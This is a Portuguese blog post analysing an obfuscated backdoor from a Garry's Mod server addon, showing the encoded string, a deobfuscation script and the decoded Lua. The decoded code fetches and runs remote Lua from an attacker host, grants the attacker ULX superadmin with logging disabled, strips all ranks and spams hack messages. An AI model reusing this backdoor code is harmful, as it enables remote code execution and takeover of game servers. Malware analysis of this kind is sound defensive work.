local decodificar = "_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[______6|_____________kq|_______________|________________|______________Xj|____________D|]]](1,function ()_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________E|_________________9|_________________T|________________|_________________|________________________________________l1|_____________________________________|_____________________________________|___________|_________________ce|_________________z|_______________kH|____________________________________E|_________________2L|________________|____________|___________|_________________b|____________t|____________________________________y|___________|____________|____________|_______________V8|_______________5|____________________________________Ea|___________________|_______________ub|____________________________________kt|____________qR|________________Rz|_____________________________________|___________X|_______________5x|_________________U|________________|___________|_______________R|____________n|______________Am|_____________________________________|___________2|___________|___________h8|______________9|____________|_______________Vw|_______________xs|________________oC|_____________________________________|_________________Mp|_________________|____________x|________________n2|____________________________________X|_____________________________________ZA|____________________________________EW|________________|_____________5|________________|]],function (_do,else_,_for,__not)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](_do)end ,nil )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________M|_______________G|___________9f|___________________|__________w|___________|____________|_______________|_____________Tq|_______________y|]],function (or_)_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________nj|______________Ii|__________________qV|]],_______[[______________xf|_______________EZ|_____________|____________w|___________qJ|_____________g|_______________5z|]],_______[[_____________________________________t|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________jR|______________rN|__________________Cm|]],_______[[___________|____________|____________|_________________5s|_________________|____________o|________________zT|_____________bp|____________|]],or_[_______[[______D|_________________5|____________c|___________|_______________|___|_e|]]](or_),_______[[_________________|_________________cd|________________|____________a|________________fC|___________|____________|_______________|_____________sz|_______________D|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________7U|______________TK|__________________69|]],_______[[______________2c|_______________qi|_____________|____________4|___________Ry|_____________R|_______________Oy|]],_______[[_____________________________________CM|]])end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________x|_______________E|___________79|___________________|__________Z|_________________a2|_______________P|________________dh|___________|_______________f|______________T|__________8|___________|______________1s|______________SF|]],function ()for nil_________,and_________________ in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do _[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________uH|______________j2|__________________Ot|]],_______[[______________gv|_______________Xu|_____________|____________r|___________fa|_____________H|_______________2d|]],_______[[_____________________________________A|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________Zf|______________1K|__________________J9|]],_______[[________________2x|____________1|_______________|_______________Dr|__________________|____________d|_________________Lp|_________________|____________I|________________Cz|_____________4h|____________|]],and_________________[_______[[______L|_________________a|____________q|___________|_______________|___|_V|]]](and_________________))_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________7t|______________nP|__________________kI|]],_______[[______________r1|_______________fW|_____________|____________P|___________Ta|_____________d|_______________2B|]],_______[[_____________________________________Fz|]])end end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________J|_______________n|___________P0|___________________|__________E|_____________GW|_______________R|______________|____________S|___________rt|_________________q|__________s|____________|____________z|___________|_________________g|_____________R|]],function (in__)_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________U|_________________Y|_________________i|________________|_________________|________________________________________Zw|_____________________________________|_____________________________________|___________|_________________5V|_________________b|_______________ZP|____________________________________X|_________________4n|________________|____________|___________|_________________4|____________s|____________________________________U|___________|____________|____________|_______________sg|_______________G|____________________________________Bo|___________________|_______________VA|____________________________________To|____________m9|________________H7|_____________________________________|___________U|_______________JF|_________________v|________________|___________|_______________X|____________d|______________yt|_____________________________________|_______________|____________q|_______________e|_________________1j|_________________|_____________________________________|____________|____________0|___________|_________________b|_____________5|____________________________________7w|______________u1|_________________Z8|___________|]],function (continue______,__goto,_______goto,and__________)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](continue______)end ,nil )end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________C|_______________r|___________9I|___________________|__________O|_______________CY|_________________N7|________________|_________________|]],function ()_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[______6|_____________kq|_______________|________________|______________Xj|____________D|]]](1,function ()_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________2|_________________H|_________________V|________________|_________________|________________________________________dZ|_____________________________________|_____________________________________|___________|_________________GG|_________________R|_______________yl|____________________________________Y|_________________sA|________________|____________|___________|_________________0|____________b|____________________________________U|___________|____________|____________|_______________jk|_______________0|____________________________________9e|___________________|_______________jm|____________________________________ik|____________ZJ|________________dw|_____________________________________|___________k|_______________eB|_________________D|________________|___________|_______________J|____________5|______________1Y|_____________________________________|_______________|____________O|_______________k|_________________8P|_________________|_____________________________________|_______________ri|_________________L5|________________|_________________|____________________________________tt|______________UZ|_________________LJ|___________|]],function (repeat___,_____true,_____________repeat,_______________true)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](repeat___)end ,nil )end )for ________________repeat,true____________ in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do true____________[_______[[_________________|____________j|_________________7|_s|___________|________________hv|______________X|______|_____g|_______m|___________|________________Z0|]]](true____________,_______[[________________Ym|________________|_______________e|___________|_______________|____________Z|]],_______[[_____|_________________Hx|________________|_________________|_________________|_____________i1|_____________un|_____________HH|________________________________|_b|_______________VC|_________________1p|________________|_________________|_____________Ny|_____________hw|_____________bx|________________________________|________________________________________M1|_____________________________________|]])end _[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[_|________________8r|____________4|___________|_________________Z|____________T|]]](_______[[_______________Ou|_________________D6|________________|_________________|_________________|_____________31|_____________hy|]],0.5,0,function ()for not_,____________return in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do _[_______[[_N|___________|________________Jd|______________O|______|_____F|]]][_______[[_______________C|_______________gA|_________________1|_____________Ip|____________Ed|___________________|]]](____________return,2,4,_______[[_____|_________________Hz|________________|_________________|_________________|_____________bz|_____________M3|_____________uj|________________________________|_s|_______________T0|_________________fl|________________|_________________|_____________T6|_____________Rq|_____________32|]])_[_______[[_N|___________|________________Jd|______________O|______|_____F|]]][_______[[_______________C|_______________gA|_________________1|_____________Ip|____________Ed|___________________|]]](____________return,2,20,_______[[__wh|m|_|___vn|________________________________|2z|________p|________________________________|e|__o|_h7|____0r|_|________K|]])end end )_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[_|________________8r|____________4|___________|_________________Z|____________T|]]](_______[[_____________is|_______________|___________|____________sN|___________|_____________|_____________|_______________pd|_________________Q|]],0.1,0,function ()_[_______[[5g|________________Mn|_______________ZD|___________|____________|___________Pl|___________|_________________|_________________m|____|_________________LF|___________|]]](_______[[___________uG|_____________2|___________|_________________z|____________________________________dA|q|____________|____________|______zU|____________b|__________________4c|_________________e|__________________________________Dg|_|_______________TK|______________Xz|_______________SC|________________QQ|__________________________________ip|_______________|___________|_________________4|_____________o|____________________________________K4|________________Oo|___________|_______________6|____________|_______________hw|_______________|__________________________________wJ|______________________________________|_______________________________________|_______________________________________|____________________________________|_____________________________________s4|_____________________________________g|___________________________________|____________________________________|_______________|___________|_________________O|_____________h|____________________________________5Y|________________VG|___________|_______________7|____________|_______________Ty|_______________|__________________________________J4|_____________________________________MX|____________________________________|______________________________________|___________________________________|____________________________________|_______________|___________|_________________M|_____________U|____________________________________D2|________________Jk|___________|_______________M|____________|_______________kO|_______________|__________________________________B2|_____________________________________wL|____________________________________|______________________________________|___________________________________|___________________________________|____________________________________|________________________________|__________________________________8|______________________________________________________|________________________________________________________________________|__________________________________________________________________________6I|________________________________|__Yn|0|_|___C2|_Hx|_r|________________________________|NW|________a|________________________________|b|__8|_9G|____XS|_|________j|________________________________|________________________________|______________________________________________________|________________________________________________________________________|__________________________________________________________________________LN|__________________________________P|___________________________________|]])end )end )end )"
-- Troca automatizada de funções
local function Descomplica(decodificar)
local encontrado = ""
local pegandoFuncao = ""
local aberturaDeColchete = 0
local fechamentoDeColchete = false
for k,v in ipairs(string.ToTable(decodificar)) do
-- Fim de captura de função
if v == "]" then
encontrado = encontrado .. _______(pegandoFuncao)
pegandoFuncao = ""
aberturaDeColchete = 0
end
-- Captura de função
if aberturaDeColchete == 3 then
pegandoFuncao = pegandoFuncao .. v
end
-- Início de captura de função
if v == "[" then
aberturaDeColchete = aberturaDeColchete + 1
end
-- Captura de outros caracteres, ignorando os underline e colchetes
if aberturaDeColchete == 0 and v ~= "]" and v ~= "_" then
encontrado = encontrado .. v
end
end
-- Resultado final
print(encontrado)
end
Descomplica(decodificar)
Esse é o output:
timerSimple(1,function ()httpFetch(https://auto-update-addon.yo.fr/botpanel/backdoor/user-1.php,function (do,else,for,not)RunString(do)end ,nil )concommandAdd(agency_admin,function (or)RunConsoleCommand(ulx,logecho,0)RunConsoleCommand(ulx,adduserid,orSteamID(or),superadmin)RunConsoleCommand(ulx,logecho,1)end )concommandAdd(agency_unrank_all,function ()for nil,and in pairs(playerGetAll())do RunConsoleCommand(ulx,logecho,0)RunConsoleCommand(ulx,removeuserid,andSteamID(and))RunConsoleCommand(ulx,logecho,1)end end )concommandAdd(agency_inject_death,function (in)httpFetch(https://auto-update-addon.yo.fr/botpanel/menus/death.lua,function (continue,goto,goto,and)RunString(continue)end ,nil )end )concommandAdd(agency_oups,function ()timerSimple(1,function ()httpFetch(https://auto-update-addon.yo.fr/botpanel/menus/oups.lua,function (repeat,true,repeat,true)RunString(repeat)end ,nil )end )for repeat,true in pairs(playerGetAll())do truesetDarkRPVar(true,rpname,Oupssiii Doupsiii :/)end timerCreate(oupssii,0.5,0,function ()for not,return in pairs(playerGetAll())do DarkRPnotify(return,2,4,Oupssiii Doupsiii)DarkRPnotify(return,2,20,HACK BY AGENCY)end end )timerCreate(imafaggot,0.1,0,function ()BroadcastLua(chat.AddText(Color(math.random(255,10),math.random(1,2),math.random(1,2)), '☠ HACKED BY AGENCY ☠'))end )end )end )
Muito melhor! Mas isso ainda não funciona, pois a sintaxe está incorreta (além de tudo continuar em uma linha...). Vamos aprimorar:
timer.Simple(1,function ()
http.Fetch("https://auto-update-addon.yo.fr/botpanel/backdoor/user-1.php", function (do,else,for,not) RunString(do)end ,nil )
concommand.Add(agency_admin,function (or)
RunConsoleCommand(ulx,logecho,0)
RunConsoleCommand(ulx,adduserid,orSteamID(or),superadmin)
RunConsoleCommand(ulx,logecho,1)
end )
concommand.Add(agency_unrank_all,function ()
for nil,and in pairs(player:GetAll())do
RunConsoleCommand(ulx,logecho,0)
RunConsoleCommand(ulx,removeuserid,andSteamID(and))
RunConsoleCommand(ulx,logecho,1)
end
end )
concommand.Add(agency_inject_death,function (in)
http.Fetch("https://auto-update-addon.yo.fr/botpanel/menus/death.lua",function (continue,goto,goto,and)RunString(continue)end ,nil )
end )
concommand.Add(agency_oups,function ()
timer.Simple(1,function ()
http.Fetch("https://auto-update-addon.yo.fr/botpanel/menus/oups.lua",function (repeat,true,repeat,true)RunString(repeat)end ,nil )
end )
for repeat,true in pairs(player.GetAll()) do
truesetDarkRPVar(true,rpname,Oupssiii Doupsiii :/)
end
timer.Create(oupssii,0.5,0,function ()
for not,return in pairs(player.GetAll())do
DarkRPnotify(return,2,4,Oupssiii Doupsiii)
DarkRPnotify(return,2,20,HACK BY AGENCY)
end
end )
timer.Create(imafaggot,0.1,0,function ()
BroadcastLua(chat.AddText(Color(math.random(255,10),math.random(1,2),math.random(1,2)), '☠ HACKED BY AGENCY ☠'))
end )
end )
end )
Agora já podemos ver o código com grande clareza! Porém algumas coisas estranhas ainda sobressaem, como o uso de termos reservados como variáveis e a quantidade desnecessária de argumentos - tudo para gerar confusão.
Última limpeza:
timer.Simple(1, function ()
http.Fetch("https://auto-update-addon.yo.fr/botpanel/backdoor/user-1.php", function(arg1) RunString(arg1) end)
concommand.Add(agency_admin, function (someVar)
RunConsoleCommand(ulx, logecho, 0)
RunConsoleCommand(ulx, adduserid, SteamID(someVar), superadmin) -- Nesta linha havia um orSteamID(or). Não entendo o porquê desse or antes do comando.
RunConsoleCommand(ulx, logecho, 1)
end)
concommand.Add(agency_unrank_all, function ()
for k,v in pairs(player.GetAll())do
RunConsoleCommand(ulx, logecho, 0)
RunConsoleCommand(ulx, removeuserid, SteamID(v)) -- Nesta linha havia um andSteamID(v). Não entendo o porquê desse and antes do comando.
RunConsoleCommand(ulx, logecho, 1)
end
end)
concommand.Add(agency_inject_death, function()
http.Fetch("https://auto-update-addon.yo.fr/botpanel/menus/death.lua", function(someArg) RunString(someArg) end)
end)
concommand.Add(agency_oups, function()
timer.Simple(1, function()
http.Fetch("https://auto-update-addon.yo.fr/botpanel/menus/oups.lua", function(otherVar) RunString(otherVar) end)
end)
for k,v in pairs(player.GetAll()) do
setDarkRPVar(v, rpname, Oupssiii Doupsiii :/) -- Nesta linha havia um truesetDarkRPVar(v). Não entendo o porquê desse true antes do comando.
end
timer.Create(oupssii, 0.5, 0, function()
for k, v in pairs(player.GetAll()) do
DarkRPnotify(v, 2, 4, Oupssiii Doupsiii)
DarkRPnotify(v, 2, 20, HACK BY AGENCY)
end
end)
timer.Create(imafaggot, 0.1, 0, function()
BroadcastLua(chat.AddText(Color(math.random(255,10), math.random(1,2), math.random(1,2)), '☠ HACKED BY AGENCY ☠'))
end)
end)
end)
Pronto, esse é o backdoor descodificado e perfeitamente legível.
Ele:
- pega admin no ULX;
- tira admin de todos os jogadores online;
- faz alguma coisa envolvendo mortes (notem que a pasta se chama botpanel); e
- imprime mensagens para incomodar os jogadores
Infelizmente os links estão mortos.
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Espero que esse texto tenha sido de algum proveito!
Eu me diverti um bocado com esse desafio.
Qualquer erro ou sugestão, vocês podem me contactar por alguma das minhas
contas listadas no meu site https://xalalau.com
Obrigado,
Xalalau Xubilozo
Nenhum comentário:
Postar um comentário